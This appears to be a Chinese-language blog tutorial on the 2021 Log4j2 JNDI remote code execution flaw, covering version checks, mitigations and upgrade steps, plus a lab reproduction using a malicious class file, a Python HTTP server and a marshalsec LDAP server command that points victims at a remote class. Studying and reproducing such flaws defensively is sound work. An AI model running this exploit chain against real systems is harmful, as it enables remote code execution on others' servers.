2021年12月10日一觉醒来,发现程序员社交网站上全是lo4j2
相关的内容。
实际上2021年11月24日,阿里云安全团队已经向Apache官方团队报告了Apache Log4j2
远程代码执行漏洞。之后陆续国内多家机构监测到Apache Log4j2
存在任意代码执行的漏洞。2021年12月10日阿里云再次报告官方2.15-rc1
版本存在漏洞绕过,建议升级2.15.0
版本。网上出现了Apache Log4j2
任意远程代码执行漏洞的攻击代码,仿佛一夜间大家才紧张起来,也有网友感叹“第一次感受到互联网的脆弱”。
java有很多优秀的日志框架,并且设计是解耦的。接口层比如:SL4j
、Apache commons logging(JCL)
;实现层比如:log4j
、logbak
、java util logging(JUL)
等。
log4j
只是Apache出品的java日志框架的一种实现,所以不是说用了Tomcat
就一定用了log4j
框架输出日志,主要看应用是集成了哪种日志框架。
使用sl4j
+ log4j2
需要在pom.xml
中引入依赖:
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<version>1.7.5</version>
</dependency>
本项目demo中没有使用
sl4j
,直接引入log4j-api:2.14.1.jar
和log4j-core:2.14.1.jar
。
简单的配置文件log4j.properties
的demo如下:
#This is a log4j property
log4j.rootLogger=INFO, STDOUT
log4j.logger.deng=INFO
log4j.appender.STDOUT=org.apache.log4j.ConsoleAppender
log4j.appender.STDOUT.layout=org.apache.log4j.PatternLayout
log4j.appender.STDOUT.layout.ConversionPattern=%5p [%t] (%F\:%L) - %m%n
日志的级别分为:All
< Trace
< Debug
< Info
< Warn
< Error
< Fatal
。
All
:最低层级,用于打开所有日志;Trace
:表示程序推进;Debug
;表示调试信息;Info
:表示程序的运行过程;Warn
:表示警告日志;Error
:表示错误日志;Fatal
:表示严重错误,将会导致应用程序退出。
更多java日志框架内容参考:https://fengmengzhao.github.io/2018/06/12/detailed-explanation-of-java-logging-framework.html
log4j
存在漏洞的版本是2.x <= 2.15-rc1
。查看对应的依赖是否存在有漏洞版本即可。具体方法:
CLASSPAHT
,查看是否有相应的log4j相关jar(log4j-api:***.jar
、log4j-core:***.jar
)包依赖。CLASSPAHT
下是否有log4j.properties
配置文件。查看
CLASSPAHT
的办法可以用ps -ef |grep $PID
,查到对应的进程信息里面-cp
参数值为classpath
。对于springboot项目可以使用命令mkdir xxx && cd xxx && jar xvf ../xx.jar
解压后找到lib
目录查看。
如果上面能够查到对应版本的jar包,很可能使用log4j
作为日志框架,存在漏洞风险。
2.15.0
并升级,下载地址:https://logging.apache.org/log4j/2.x/download.html。6u211
、7u201
、8u191
、11.0.1
以上,可以在一定程度上限制JNDI等漏洞利用方式。log4j2.formatMsgNoLookups
或者环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS
为true
。JndiLookup
类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
针对上面临时方案中的升级JDK版本,本代码示例在Windows
JDK 1.8.0_212-b10
也能够成功复现攻击,所以最好按照正式方案解决问题。
log4j
作为一个优秀的日志框架,提供了以某种约定的格式来获取到运行环境中配置信息的能力,称为looksup
。例如提供了以下配置:
<properties>
<property name="logPath">${sys.catalina.home}/xmlogs</property>
</properties>
后续在代码中就可以通过${logPath}
来获取该属性的值。运行时log4j
提供的looksup
实现会解析${
开头的变量,并且支持多种协议。例如通过LDAP
查找变量;通过docker
查找变量等,详细参考:https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html。
这次log4j
的漏洞就是利用java的jndi
API访问LDAP
服务来远程加载类,攻击者可以写任意恶意远程代码在类加载的时候执行达到攻击目的。
代码层次分析参考:https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPg
根据漏洞分析,我们想要模拟“攻”,需要准备4个东西:
1.14.1
,JDK环境1.8.0_121
。class
文件。本示例:恶意class文件在Windows环境运行弹出计算器,在Unix环境运行列出运行环境监听的所有端口并生成图片test.jpg到程序运行目录。LDAP
服务。本示例:使用marshalsec-0.0.3-SNAPSHOT-all.jar
启动一个简单的LDAP
服务。http
服务。本示例:使用Python启动http服务,从git上克隆项目到本地,github项目地址:https://github.com/FengMengZhao/apache-log4j2-bug.git,gitee备份项目地址:https://gitee.com/fengmengzhao/apache-log4j2-bug.git。
1). 导入maven项目到IDE中,或者使用mvn
命令行下载maven依赖。
2). 将Log4jRCE.java
类本地编译生成的class文件,该class文件即为恶意远程class文件,将该class提供为http可访问服务。可以将java和class文件copy到一个目录中,在该目录中启动简单的python http server:
java源代码文件实际上并不需要,这里复制java源文件是为了验证http远程可访问。
#进入class文件所在的目录执行
/usr/bin/python3 -m http.server
服务端启动如图,默认端口是8000:
http访问java文件验证:
3). 在项目tool
目录下找到文件marshalsec-0.0.3-SNAPSHOT-all.jar
,该jar包用于创建简单的LDAP
服务。启动LDAP服务,默认监听1389
端口号,需要指定2)中启动的远程http服务:
#可以在最后加上一个参数指定LDAP服务端口,模式是1389
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:port:8000/#Log4jRCE
启动LDAP
服务后,默认监听1389
端口,如图:
4). 执行log4j
的main方法,即可验证攻击完成:
在Windows平台上运行,弹出计算器:
在Unix平台上运行,获取后台监听端口及进程,并将内容在运行目录生成test.jpg
:
如果不能够成功复现攻击,报错
11:54:23.960 [main] ERROR log4j - Reference Class Name: foo
,可能是JDK版本过高。降低版本到1.8.0_191
之下再尝试。
参考1.3中的正式方案,将log4j
版本升级到2.15.0
,执行log4j
的main方法不会再jndi
远程加载class。
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.0</version>
</dependency>
如果是现场不方便重新打包,可将包下载,替换目标容器
lib
下对应的jar包。
本demo示例基于对技术的好奇和探索而创建,切忌用于线上生产项目的攻击!!!